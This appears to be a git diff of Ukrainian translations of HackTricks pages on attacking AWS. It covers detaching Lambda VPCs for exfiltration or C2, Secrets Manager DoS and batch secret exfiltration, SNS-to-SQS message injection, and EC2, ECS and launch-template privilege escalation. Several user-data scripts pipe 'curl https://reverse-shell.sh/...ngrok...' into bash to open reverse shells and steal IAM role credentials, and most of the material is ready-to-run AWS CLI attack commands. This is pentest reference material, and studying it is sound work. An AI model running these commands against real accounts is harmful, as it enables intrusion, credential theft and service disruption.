aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
|
||||
|
||||
1) Record current VPC config (to restore later if needed)
|
||||
1) Зафіксуйте поточну VPC конфігурацію (щоб відновити її пізніше, якщо потрібно)
|
||||
|
||||
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
|
||||
cat /tmp/orig-vpc.json
|
||||
|
||||
2) Detach the VPC by setting empty lists
|
||||
2) Від'єднайте VPC, задавши пусті списки
|
||||
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
@@ -39,12 +41,12 @@ aws lambda update-function-configuration \
|
||||
--region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
|
||||
3) Invoke and verify outbound access
|
||||
3) Викличте функцію і перевірте вихідний доступ
|
||||
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
|
||||
cat /tmp/net-out.json
|
||||
|
||||
(Optional) Restore original VPC config
|
||||
(Optional) Відновлення оригінальної VPC конфігурації
|
||||
|
||||
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
|
||||
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
|
||||
@@ -52,7 +54,7 @@ aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config
|
||||
fi
|
||||
|
||||
### Impact
|
||||
- Відновлює необмежений вихідний доступ в інтернет з функції, що дозволяє ексфільтрацію даних або C2 від навантажень, які були спеціально ізольовані в приватних підмережах без NAT.
|
||||
- Відновлюється необмежений вихідний доступ в інтернет з функції, що дозволяє ексфільтрацію даних або C2 із робочих навантажень, які навмисно ізольовані в приватних підмережах без NAT.
|
||||
|
||||
### Example output (after detaching VpcConfig)
|
||||
|
||||
@@ -60,4 +62,5 @@ fi
|
||||
|
||||
### Cleanup
|
||||
- Якщо ви створювали тимчасові зміни коду/handler, відновіть їх.
|
||||
- За бажанням відновіть оригінальний VpcConfig, збережений у /tmp/orig-vpc.json, як показано вище.
|
||||
- За потреби відновіть оригінальний VpcConfig, збережений у /tmp/orig-vpc.json, як показано вище.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+20
-21
@@ -10,16 +10,16 @@
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Secrets
|
||||
### Читання секретів
|
||||
|
||||
The **secrets themselves are sensitive information**, [перегляньте сторінку privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) щоб дізнатися, як їх читати.
|
||||
The **секрети самі по собі є чутливою інформацією**, [перегляньте сторінку privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md), щоб дізнатися, як їх прочитати.
|
||||
|
||||
### DoS Change Secret Value
|
||||
|
||||
Змінивши значення secret, ви можете **DoS всі системи, які залежать від цього значення.**
|
||||
Зміна значення секрету може призвести до **DoS всіх систем, які залежать від цього значення.**
|
||||
|
||||
> [!WARNING]
|
||||
> Зауважте, що попередні значення також зберігаються, тому легко просто повернутися до попереднього значення.
|
||||
> Зверніть увагу, що попередні значення також зберігаються, тож легко повернутися до попереднього значення.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
@@ -28,11 +28,11 @@ aws secretsmanager put-secret-value \
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Якщо у зловмисника є дозвіл secretsmanager:UpdateSecret, він може налаштувати secret так, щоб використовувався KMS key, що належить зловмиснику. Цей ключ спочатку налаштований таким чином, що будь-хто може отримати до нього доступ і використовувати його, тому оновлення secret з новим ключем можливе. Якби ключ був недоступний, secret не можна було б оновити.
|
||||
Якщо зловмисник має дозвіл secretsmanager:UpdateSecret, він може налаштувати secret на використання KMS key, який належить зловмиснику. Цей ключ спочатку налаштований так, щоб будь-хто міг отримати до нього доступ і використовувати його, тож оновлення secret з новим ключем можливе. Якби ключ був недоступний, secret не вдалося б оновити.
|
||||
|
||||
Після зміни ключа для secret зловмисник модифікує конфігурацію свого ключа так, щоб доступ мав лише він. Таким чином у наступних версіях secret він буде зашифрований новим ключем, і оскільки доступу до нього не буде, можливість отримати secret буде втрачено.
|
||||
Після зміни ключа для secret зловмисник змінює конфігурацію свого ключа так, щоб лише він мав до нього доступ. Таким чином у наступних версіях secret буде зашифровано новим ключем, і, оскільки доступу до нього не буде, можливість отримати secret буде втрачена.
|
||||
|
||||
Важливо зазначити, що ця недоступність виникне лише в пізніших версіях, після зміни вмісту secret, оскільки поточна версія усе ще зашифрована оригінальним KMS key.
|
||||
Важливо зазначити, що ця недоступність виникне лише в пізніших версіях — після того як вміст secret зміниться, оскільки поточна версія все ще зашифрована оригінальним KMS key.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
@@ -48,16 +48,16 @@ aws secretsmanager delete-secret \
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
Можна відновити секрет, що дозволяє відновлювати секрети, які були заплановані на видалення, оскільки мінімальний період видалення секретів становить 7 днів, а максимальний — 30 днів. Разом із дозволом secretsmanager:GetSecretValue це дає змогу отримати їхній вміст.
|
||||
Можна відновити секрет, що дозволяє відновлювати секрети, які були заплановані на видалення, оскільки мінімальний період видалення для секретів — 7 днів, а максимальний — 30 днів. Разом з дозволом secretsmanager:GetSecretValue це дозволяє отримати їх вміст.
|
||||
|
||||
Щоб відновити секрет, який перебуває у процесі видалення, ви можете використати таку команду:
|
||||
Щоб відновити секрет, який знаходиться в процесі видалення, можна використати наступну команду:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Ця дія дозволяє видаляти політику ресурсу, яка контролює, хто може отримати доступ до секрету. Це може призвести до DoS, якщо політика ресурсу була налаштована так, щоб дозволяти доступ конкретному набору користувачів.
|
||||
Ця дія дозволяє видаляти політику ресурсу, яка контролює, хто може отримати доступ до secret. Це може призвести до DoS, якщо політика ресурсу була налаштована так, щоб дозволяти доступ певному набору користувачів.
|
||||
|
||||
Щоб видалити політику ресурсу:
|
||||
```bash
|
||||
@@ -66,11 +66,11 @@ aws secretsmanager delete-resource-policy \
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Стан секрету використовується для керування версіями секрету. AWSCURRENT позначає активну версію, яку використовують додатки; AWSPREVIOUS зберігає попередню версію, щоб у разі потреби можна було відкотитися; а AWSPENDING використовується в процесі ротації для підготовки та перевірки нової версії перед тим, як зробити її поточною.
|
||||
Стани секрету використовуються для керування версіями секрету. AWSCURRENT позначає активну версію, яку використовують додатки; AWSPREVIOUS зберігає попередню версію, щоб у разі потреби можна було відкотитися; а AWSPENDING використовується в процесі ротації для підготовки та перевірки нової версії перед тим, як зробити її поточною.
|
||||
|
||||
Додатки завжди читають версію з AWSCURRENT. Якщо хтось перемістить цей маркер на неправильну версію, додатки використовуватимуть недійсні облікові дані і можуть не працювати.
|
||||
Додатки завжди читають версію з AWSCURRENT. Якщо хтось перемістить цей ярлик на неправильну версію, додатки використовуватимуть недійсні облікові дані і можуть відмовити.
|
||||
|
||||
AWSPREVIOUS не використовується автоматично. Однак якщо AWSCURRENT буде видалено або неправильно переназначено, може скластися враження, що все досі працює з попередньою версією.
|
||||
AWSPREVIOUS не використовується автоматично. Проте, якщо AWSCURRENT буде видалено або переназначено неправильно, може створитися враження, що все досі працює з попередньою версією.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
@@ -78,11 +78,9 @@ aws secretsmanager update-secret-version-stage \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Mass Secret Exfiltration via BatchGetSecretValue (до 20 за виклик)
|
||||
|
||||
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
|
||||
|
||||
Зловживайте API Secrets Manager BatchGetSecretValue, щоб отримати до 20 секретів в одному запиті. Це може значно зменшити обсяг викликів API порівняно з ітерацією GetSecretValue для кожного секрету. Якщо використовуються фільтри (tags/name), потрібен також дозвіл ListSecrets. CloudTrail все ще фіксує по одному GetSecretValue подію для кожного секрету, отриманого в батчі.
|
||||
Abuse the Secrets Manager BatchGetSecretValue API, щоб отримати до 20 секретів в одному запиті. Це може значно зменшити обсяг викликів API порівняно з послідовним викликом GetSecretValue для кожного секрету. Якщо використовуються фільтри (теги/ім'я), також потрібен дозвіл ListSecrets. CloudTrail все одно фіксує по одному GetSecretValue event для кожного секрету, отриманого в батчі.
|
||||
|
||||
Required permissions
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
@@ -91,7 +89,7 @@ Required permissions
|
||||
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Зауважте, що дозвіл `secretsmanager:BatchGetSecretValue` сам по собі недостатній для отримання секретів — вам також потрібен `secretsmanager:GetSecretValue` для кожного секрету, який ви хочете отримати.
|
||||
> Зверніть увагу, що дозвіл `secretsmanager:BatchGetSecretValue` сам по собі недостатній для отримання секретів — вам також потрібен `secretsmanager:GetSecretValue` для кожного секрету, який ви хочете отримати.
|
||||
|
||||
Exfiltrate by explicit list
|
||||
```bash
|
||||
@@ -99,7 +97,7 @@ aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate за фільтрами (ключ/значення тегу або префікс імені)
|
||||
Exfiltrate за допомогою фільтрів (tag key/value or name prefix)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
@@ -122,5 +120,6 @@ aws secretsmanager batch-get-secret-value \
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Вплив
|
||||
- Швидкий “smash-and-grab” багатьох секретів з меншою кількістю API-запитів, потенційно обходячи оповіщення, налаштовані на сплески GetSecretValue.
|
||||
- Журнали CloudTrail все ще містять по одній GetSecretValue-події на кожен секрет, отриманий у пакеті.
|
||||
- Швидке “smash-and-grab” великої кількості секретів з меншою кількістю викликів API, потенційно обходячи сповіщення, налаштовані на сплески GetSecretValue.
|
||||
- Логи CloudTrail все ще містять по одному GetSecretValue event для кожного секрету, отриманого пакетом.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+9
-9
@@ -1,15 +1,15 @@
|
||||
# AWS – SQS ін'єкція в межах/між акаунтами через підписку SNS + політику черги
|
||||
# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Опис
|
||||
|
||||
Зловживати політикою ресурсу SQS, щоб дозволити керованій нападником темі SNS публікувати повідомлення в цільову чергу SQS. В тому ж акаунті підписка SQS на тему SNS підтверджується автоматично; у випадку між акаунтами необхідно прочитати токен SubscriptionConfirmation з черги і викликати ConfirmSubscription. Це дозволяє несанкціоновану ін'єкцію повідомлень, яким downstream споживачі можуть неявно довіряти.
|
||||
Зловживання політикою ресурсу SQS черги для дозволу attacker-controlled SNS topic публікувати повідомлення в SQS чергу жертви. В межах того ж акаунту підписка SQS на SNS topic підтверджується автоматично; у cross-account випадку потрібно прочитати токен SubscriptionConfirmation з черги та викликати ConfirmSubscription. Це дозволяє здійснювати ненадійну ін’єкцію повідомлень, яким нижчі споживачі можуть автоматично довіряти.
|
||||
|
||||
### Вимоги
|
||||
- Можливість змінювати політику ресурсу цільової черги SQS: `sqs:SetQueueAttributes` на черзі жертви.
|
||||
- Можливість створювати/публікувати в тему SNS під контролем нападника: `sns:CreateTopic`, `sns:Publish`, та `sns:Subscribe` в акаунті/темі нападника.
|
||||
- Тільки для міжакаунтових випадків: тимчасове `sqs:ReceiveMessage` на черзі жертви, щоб прочитати токен підтвердження і викликати `sns:ConfirmSubscription`.
|
||||
- Можливість змінювати політику ресурсу цільової SQS черги: `sqs:SetQueueAttributes` на черзі жертви.
|
||||
- Можливість створювати/публікувати в SNS topic під контролем атакуючої сторони: `sns:CreateTopic`, `sns:Publish`, та `sns:Subscribe` в акаунті/топіку атакуючого.
|
||||
- Тільки для cross-account: тимчасове `sqs:ReceiveMessage` на черзі жертви, щоб прочитати токен SubscriptionConfirmation і викликати `sns:ConfirmSubscription`.
|
||||
|
||||
### Експлуатація в тому ж акаунті
|
||||
```bash
|
||||
@@ -44,11 +44,11 @@ aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoin
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
### Між-акаунтні нотатки
|
||||
- Політика черги вище має дозволяти зовнішній `TOPIC_ARN` (акаунт атакуючого).
|
||||
- Підписки не підтверджуються автоматично. Наділіть собі тимчасовий дозвіл `sqs:ReceiveMessage` на черзі жертви, щоб прочитати повідомлення `SubscriptionConfirmation`, а потім викличте `sns confirm-subscription` з його `Token`.
|
||||
### Примітки щодо доступу між акаунтами
|
||||
- Політика черги вище має дозволяти сторонній `TOPIC_ARN` (обліковий запис атакуючого).
|
||||
- Підписки не підтверджуються автоматично. Надайте собі тимчасовий `sqs:ReceiveMessage` на цільовій черзі, щоб прочитати повідомлення `SubscriptionConfirmation`, а потім викличте `sns confirm-subscription` з його `Token`.
|
||||
|
||||
### Вплив
|
||||
**Потенційний вплив**: Безперервне небажане впровадження повідомлень у довірену SQS-чергу через SNS, що може спричинити небажану обробку, забруднення даних або зловживання робочим процесом.
|
||||
**Потенційний вплив**: постійна інжекція непроханих повідомлень у довірену SQS-чергу через SNS, що може спричинити небажану обробку, забруднення даних або зловживання робочими процесами.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+45
-49
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
Для більш детальної **інформації про EC2** див.:
|
||||
Більше **інформації про EC2** див.:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,11 +12,11 @@
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Зловмисник може **створити інстанс, приєднати до нього IAM роль і отримати доступ до інстансу**, щоб вкрасти облікові дані IAM ролі з ендпоінта метаданих.
|
||||
Зловмисник може створити instance, прикріпити IAM role і потім отримати доступ до instance, щоб вкрасти облікові дані IAM role з metadata endpoint.
|
||||
|
||||
- **Доступ через SSH**
|
||||
|
||||
Запустіть новий інстанс, використовуючи **створений** **ssh ключ** (`--key-name`) і потім підключіться до нього через ssh (якщо ви хочете створити новий ключ, вам може знадобитися дозвіл `ec2:CreateKeyPair`).
|
||||
Запустіть новий instance, використовуючи **створений** **ssh key** (`--key-name`) і потім підключіться по ssh (якщо ви хочете створити новий, можливо, вам знадобиться дозвіл `ec2:CreateKeyPair`).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **Доступ через rev shell у user data**
|
||||
|
||||
Ви можете запустити новий instance, використовуючи **user data** (`--user-data`), яка надішле вам **rev shell**. Вам не потрібно вказувати security group цим способом.
|
||||
Ви можете запустити новий інстанс, використовуючи **user data** (`--user-data`), яке надішле вам **rev shell**. При цьому немає потреби вказувати security group.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Будьте обережні з GuradDuty якщо ви використовуєте облікові дані ролі IAM поза межами instance:
|
||||
Будьте обережні з GuradDuty якщо ви використовуєте облікові дані IAM role поза межами instance:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**Можливий вплив:** Прямий privesc до будь-якої EC2 role, прикріпленої до існуючих instance profiles.
|
||||
**Потенційний вплив:** Direct privesc to a any EC2 role attached to existing instance profiles.
|
||||
|
||||
#### Privesc до ECS
|
||||
#### Privesc to ECS
|
||||
|
||||
З цим набором дозволів ви також могли б **створити EC2 instance та зареєструвати його в ECS cluster**. Таким чином, ECS **сервіси** будуть **запущені** всередині **EC2 instance**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (docker containers) та **вкрасти прикріплені до них ECS roles**.
|
||||
З цим набором дозволів ви також можете **create an EC2 instance and register it inside an ECS cluster**. Таким чином, ECS **services** будуть **run** in inside the **EC2 instance**, до якого ви маєте доступ, і тоді ви можете проникнути в ці сервіси (docker containers) і **steal their ECS roles attached**
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,20 +59,20 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
Щоб дізнатися, як **примусово запустити служби ECS** на цьому новому EC2 інстансі, перегляньте:
|
||||
Щоб дізнатися, як **змушувати ECS services to be run** в цьому новому EC2 екземплярі, перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
Якщо ви **не можете створити новий інстанс**, але маєте дозвіл `ecs:RegisterContainerInstance`, ви можете зареєструвати інстанс у кластері та виконати описану атаку.
|
||||
Якщо ви **не можете створити новий екземпляр**, але маєте дозвіл `ecs:RegisterContainerInstance`, ви можете зареєструвати екземпляр у кластері та виконати описану атаку.
|
||||
|
||||
**Можливий вплив:** Пряме privesc до ролей ECS, приєднаних до tasks.
|
||||
**Potential Impact:** Direct privesc до ролей ECS, прикріплених до tasks.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
Як і в попередньому сценарії, атакувальник із такими дозволами може **змінити IAM роль скомпрометованого інстансу**, щоб викрасти нові облікові дані.\
|
||||
Оскільки instance profile може мати лише 1 роль, якщо instance profile **вже має роль** (звичайний випадок), вам також знадобиться **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
Подібно до попереднього сценарію, зловмисник із цими дозволами може **змінити IAM роль скомпрометованого екземпляра**, щоб викрасти нові облікові дані.\
|
||||
Оскільки профіль екземпляра може мати лише одну роль, якщо профіль екземпляра **вже має роль** (поширений випадок), вам також знадобиться **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Якщо **instance profile has a role** і зловмисник **cannot remove it**, існує інший обхідний шлях. Він може **знайти** an **instance profile without a role** або **створити новий** (`iam:CreateInstanceProfile`), **додати** the **role** до того **instance profile** (як було описано раніше), і **асоціювати цей instance profile** з компрометованим i**nstance:**
|
||||
Якщо **instance profile has a role** і attacker **cannot remove it**, існує інший обхідний шлях. Він може **find** an **instance profile without a role** або **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** до того **instance profile** (як описано вище), і **associate the instance profile** compromised до compromised i**nstance:**
|
||||
|
||||
- Якщо instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Потенційний вплив:** Пряме privesc на іншу роль EC2 (потрібно, щоб ви скомпрометували AWS EC2 instance та мали додаткові дозволи або певний статус instance profile).
|
||||
**Potential Impact:** Direct privesc to a different EC2 role (потрібно скомпрометувати AWS EC2 instance та мати додаткові дозволи або певний статус instance profile).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Маючи ці дозволи, можна змінити instance profile, пов'язаний з екземпляром, тож якщо зловмисник вже має доступ до екземпляра, він зможе викрасти облікові дані для додаткових ролей instance profile, змінивши пов'язаний з ним профіль.
|
||||
Завдяки цим дозволам можна змінити instance profile, пов'язаний з екземпляром, тому якщо зловмисник уже має доступ до екземпляра, він зможе викрадати облікові дані для інших ролей instance profile, замінюючи пов'язаний із ним.
|
||||
|
||||
- Якщо він **має instance profile**, ви можете **видалити** instance profile (`ec2:DisassociateIamInstanceProfile`) та **асоціювати** його
|
||||
- Якщо він **має instance profile**, ви можете **видалити** цей instance profile (`ec2:DisassociateIamInstanceProfile`) та **асоціювати** інший.
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- або **замінити** **instance profile** компрометованого інстансу (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- або **замінити** **instance profile** скомпрометованого екземпляра (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Потенційний вплив:** Пряме privesc до іншої EC2 role (вам потрібно скомпрометувати AWS EC2 instance та мати додатковий дозвіл або специфічний instance profile status).
|
||||
**Potential Impact:** Прямий privesc до іншої EC2 role (потрібно мати скомпрометований AWS EC2 instance та додатковий дозвіл або специфічний instance profile status).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
Зловмисник з дозволами **`ec2:RequestSpotInstances`and`iam:PassRole`** може **запитати** **Spot Instance** з прикріпленою **EC2 Role** та **rev shell** у **user data**.\
|
||||
Коли інстанс запуститься, він зможе **вкрасти IAM role**.
|
||||
Зловмисник з дозволами **`ec2:RequestSpotInstances` та `iam:PassRole`** може **запросити** **Spot Instance** з **EC2 Role attached** та **rev shell** у **user data**.\
|
||||
Після запуску інстансу він може **викрасти IAM role**.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
Зловмисник з правом **`ec2:ModifyInstanceAttribute`** може змінювати атрибути інстансу. Зокрема, він може **змінити user data**, що дає змогу змусити інстанс **виконати довільний код.** Це може бути використано для отримання **rev shell на EC2 instance**.
|
||||
Зловмисник з правами **`ec2:ModifyInstanceAttribute`** може змінювати атрибути інстансів. Серед іншого він може **змінити user data**, що дозволяє змусити інстанс **запустити довільні дані.** Це може бути використано для отримання **rev shell на EC2 instance**.
|
||||
|
||||
Зверніть увагу, що атрибути можна **змінювати лише коли інстанс зупинено**, тому потрібні дозволи **`ec2:StopInstances`** і **`ec2:StartInstances`**.
|
||||
Зверніть увагу, що атрибути можна **змінювати тільки коли інстанс зупинений**, тому необхідні права **`ec2:StopInstances`** та **`ec2:StartInstances`**.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Потенційний вплив:** Прямий privesc до будь-якої EC2 IAM Role, прикріпленої до створеного instance.
|
||||
**Потенційний вплив:** Пряме privesc до будь-якої EC2 IAM Role, приєднаної до створеного інстансу.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Зловмисник із правами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** може створити **нову Launch Template версію** з **rev shell у** **user data** та **будь-якою EC2 IAM Role на ній**, змінити версію за замовчуванням, і **будь-яка Autoscaler group** **що використовує** цей **Launch Templat**e який **налаштований** на використання **latest** або **default version** буде **re-run the instances** using that template and will execute the rev shell.
|
||||
Атакувальник з дозволами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** може створити **нову Launch Template version** з **rev shell у** **user data** і **будь-якою EC2 IAM Role на ній**, змінити версію за замовчуванням, і **будь-яка Autoscaler group** **using** ту **Launch Templat**e, яка **configured** використовувати **latest** або **default version**, перезапустить **re-run the instances** за цим шаблоном і виконає rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**Можливий вплив:** Прямий privesc до іншої EC2 role.
|
||||
**Потенційний вплив:** Пряме privesc до іншої ролі EC2.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
Зловмисник з дозволами **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** може створити **Launch Configuration** з **IAM Role** і **rev shell** у **user data**, потім створити **autoscaling group** з цієї конфігурації і чекати, поки **rev shell** викраде **IAM Role**.
|
||||
Зловмисник із дозволами **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** може **створити Launch Configuration** з **IAM Role** та **rev shell** у **user data**, потім **створити autoscaling group** з цієї конфігурації і чекати, поки rev shell **вкраде IAM Role**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**Потенційний вплив:** Direct privesc to a different EC2 role.
|
||||
**Потенційний вплив:** Прямий privesc до іншої EC2 role.
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
Набір дозволів **`ec2:CreateLaunchTemplate`** та **`autoscaling:CreateAutoScalingGroup`** **не вистачає, щоб підвищити привілеї** до ролі IAM, тому що, щоб прикріпити роль, вказану в Launch Configuration або в Launch Template, **потрібні дозволи `iam:PassRole` та `ec2:RunInstances`** (що є відомим privesc).
|
||||
Набір дозволів **`ec2:CreateLaunchTemplate`** і **`autoscaling:CreateAutoScalingGroup`** **не достатній для ескалації** привілеїв до IAM role, оскільки для прикріплення ролі, вказаної в Launch Configuration або в Launch Template, **потрібні дозволи `iam:PassRole` та `ec2:RunInstances`** (що є відомим privesc).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
Атакуючий з дозволом **`ec2-instance-connect:SendSSHPublicKey`** може додати ssh key користувачу і використати його для доступу (якщо має ssh доступ до інстансу) або для підвищення привілеїв.
|
||||
Зловмисник з дозволом **`ec2-instance-connect:SendSSHPublicKey`** може додати ssh-ключ до користувача і використати його для доступу (якщо він має ssh-доступ до інстансу) або для ескалації привілеїв.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Потенційний вплив:** Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів.
|
||||
**Можливий вплив:** Прямий privesc до EC2 IAM ролей, прикріплених до запущених інстансів.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh-ключ до серійної консолі**. Якщо серійна консоль не ввімкнена, зловмиснику потрібен дозвіл **`ec2:EnableSerialConsoleAccess`**, щоб її ввімкнути.
|
||||
